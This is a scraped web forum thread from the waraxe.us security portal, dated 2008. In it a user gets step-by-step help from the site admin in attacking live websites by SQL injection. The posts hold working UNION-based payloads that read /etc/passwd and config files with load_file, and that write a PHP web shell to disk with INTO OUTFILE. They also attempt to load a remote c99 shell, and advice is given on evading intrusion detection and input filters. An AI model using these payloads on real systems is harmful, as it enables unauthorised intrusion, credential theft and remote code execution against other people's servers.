Login or Register ::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  :: April 19, 2024 Menu  Home  Logout  Discussions  Forums  Members List  IRC chat  Tools  Base64 coder  MD5 hash  CRC32 checksum  ROT13 coder  SHA-1 hash  URL-decoder  Sql Char Encoder  Affiliates  y3dips ITsec  Md5 Cracker  User Manuals  AlbumNow  Content  Content  Sections  FAQ  Top  Info  Feedback  Recommend Us  Search  Journal  Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9145 People Online: Visitors: 533 Members: 0 Total: 533 PacketStorm News ·301 Moved Permanently read more... IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> SQL INJ HELP Goto page 1, 2  Next    View previous topic :: View next topic  SQL INJ HELP Posted: Fri Feb 08, 2008 3:14 pm kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 hi waraxe , -1 : i'm not abel to show all tables : i put Code: -1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES/* i find just one in lot ..site CHARACTER_SETS -2 : whene i put : Code: -1+union+select+1,2,3,5,load_file('/etc/passwd'),7,8+FROM+INFORMATION_SCHEMA.TABLES/* Error mysql and whene put : Code: -1+union+select+1,2,3,5,load_file(0x2F6574632F706173737764),7,8+FROM+INFORMATION_SCHEMA.TABLES/* it is work 100% , but how i can find the path of site exemple : /home/www/info/site.com/ thnkx Re: SQL INJ HELP Posted: Fri Feb 08, 2008 3:23 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu kr0k0 wrote: hi waraxe , -1 : i'm not abel to show all tables : i put Code: -1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES/* i find just one in lot ..site CHARACTER_SETS -2 : whene i put : Code: -1+union+select+1,2,3,5,load_file('/etc/passwd'),7,8+FROM+INFORMATION_SCHEMA.TABLES/* Error mysql and whene put : Code: -1+union+select+1,2,3,5,load_file(0x2F6574632F706173737764),7,8+FROM+INFORMATION_SCHEMA.TABLES/* it is work 100% , but how i can find the path of site exemple : /home/www/info/site.com/ thnkx 1. If code fragment, which is affected by sql injection, is processing only single row, then in case of mysql you can use "LIMIT x,y". Example: Code: 1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+3,1/* 2. This is the case, when full path disclosure comes handy ... You must find a way to make website produce error message, which will reveal full path to some components. Just try to manipulate various parameters in URI. And one more possibility - Google. Search for possible error messages within target domain. Posted: Fri Feb 08, 2008 8:29 pm kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 OK THankx waraxe , work , ___________________________________ 3 - whene i put : Code: -1+union+select+1,2,3,4,5,6,7+FROM+mysql.user/* i find : 4 7 whene i put : Code: -1+union+select+1,2,3,load_file('/'),5,6,7+FROM+mysql.user/* the page is Blank and whene i put Code: -1+union+select+1,2,3,load_file('/etc/passwd'),5,6,7+FROM+mysql.user/* Error Mysql I try with HEX, .... nothing Error Mysql ?????? Posted: Fri Feb 08, 2008 9:21 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu 1. you definitely try to use HEX encoding for filename, because magic_quotes will otherwise corrupt it and cause error messages. 2. You MUST have FILE privileges. 3. Try hex-encode retrieved data for evading possible collation problems 4. *BSD boxes have "/etc/master.passwd" In you current case - error message with etc/password and blank page with invalid filename ... this seems to be collation problem. So try HEX encoding. And if still there is error message, then post your example sql injection here and I will look at it ... And mysql errors - are they detailed error messages? Or just generic "Error ..." ? Posted: Sat Feb 09, 2008 6:18 am kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 -1 not work OS : Windows Server 2003 Web Server : Apache/2.0.55 Win32 PHP/5.0.5 Mysql ver : 5.x ?? _____________ 2- in auter site i can see /etc/passwd and all file but in hex Code: -1+union+select+1,2,3,load_file(0x2F6574632F706173737764),4,5,6 from information_schema.tables/* Code: -1+union+select+1,2,3,load_file('/home/www/web/site.com/config.php'),4,5,6 from information_schema.tables/* work , but whene i can see file , i can edit it ? Posted: Sat Feb 09, 2008 1:30 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu 1. Use UNHEX(HEX(......)) http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_unhex 2. You can't edit files in this way But you can try to use INTO OUTFILE for writing your own php files. If this will succeed, then you can have php code execution access to target system. http://www.owasp.org/index.php/Testing_for_MySQL http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ Posted: Sat Feb 09, 2008 4:27 pm kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 please waraxe, can u give me one Example for INTO OUTFILE , Example path is : /home/www/web/1/index.php thnkx for help Posted: Sat Feb 09, 2008 5:31 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu kr0k0 wrote: please waraxe, can u give me one Example for INTO OUTFILE , Example path is : /home/www/web/1/index.php thnkx for help Some useful exmples: http://www.webapptest.org/index.php?entry=entry070910-130659 Try this: Code: UNION+ALL+SELECT+'<?php+phpinfo();+?>',2,3,4+INTO+OUTFILE+'/home/www/web/1/test.php'/* And if needed, then injected php source code can be HEX-encoded!! Posted: Sun Feb 10, 2008 7:33 am kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 can u correct me this , but in HEX , please Code: /articles.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'<?%20phpinfo();%20?>',24,25,26,27+from%20information_schema.tables%20INTO%20OUTFILE%20'/home/www/6bd585046bd6ac8f521ab32c1fcce8b0/web/file.php'%20/* You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\',24,25,26,27 from information_schema.tables INTO OUTFILE \'/' at line 1 thankx Posted: Sun Feb 10, 2008 10:51 am waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu You have serious problem - "magic_quotes"! INTO OUTFILE method will work only if single quotes can be passed through. HEX encoding is not helping with INTO OUTFILE! Posted: Sun Feb 10, 2008 2:37 pm kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 hey, look in this Code: article2.php?id=-5+UNION%20SELECT%201,'<?include($_GET["cmd"]);?>',3,4+from%20information_schema.tables%20INTO%20OUTFILE%20'/home/www/b76e6d18e284b62821382d5fdbbd/web/forum/1.php'%20/* whene i go to : http://www.site.com/forum/1.php Code: 1 Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.:/opt/php/lib/php') in /home/www/b76e6d18e284b62821382d5fdbbd/web/forum/1.php on line 1 3 4 i put : http://www.site.com/forum/1.php?cmd=http://c99-shellz.txt? i find : HTTP 403 ( Refused ) Posted: Sun Feb 10, 2008 8:55 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Try http://www.site.com/forum/1.php?cmd=http://www.yahoo.com/ Still HTTP 403? By the way - c99 and other widely known php shells are triggering every IPS/IDS (Snort, etc) and every antivirus, mod_security, etc ... My suggestion is to use custom written shell. Posted: Sun Feb 10, 2008 10:49 pm kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 1- Yahoo it work 100% , but how i ca, inject a php code shell in this case , i need a methode please Last edited by kr0k0 on Mon Feb 11, 2008 8:42 am; edited 1 time in total Posted: Mon Feb 11, 2008 8:41 am kr0k0 Advanced user   Joined: Jan 26, 2008 Posts: 128 2- look in this Code: /modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/1,2,3,4,5/**/FROM/**/nuke_authors/* 4 3 Whene i put : Code: /modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/1,2,3,load_file('/'),5/**/FROM/**/nuke_authors/* or Code: /modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/1,2,3,load_file(0x2F6574632F706173737764),5/**/FROM/**/nuke_authors/* The html tags you attempted to use are not allowed [ Go Back ] ????????? Posted: Mon Feb 11, 2008 10:32 am waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Use POST method. SQL INJ HELP   www.waraxe.us Forum Index -> Sql injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT   Page 1 of 2   Goto page 1, 2  Next All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 Year Oldest FirstNewest First  Select a forum Security Research by waraxe----------------General discussionHow to fixMetasploit related Hash cracking requests----------------MD5 hashesAll other hashesHash related information http://www.waraxe.us portal----------------SuggestionsCooperation proposals Security bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holes Various software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo Gallery Programming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssembler Reverse engineering----------------Newbies cornerDisassemblingPHP script decode requests Miscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy database Direct Downloads----------------ToolsTutorialsWordlists Recycle Bin----------------Removed messagesOutdated posts   Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.140 Seconds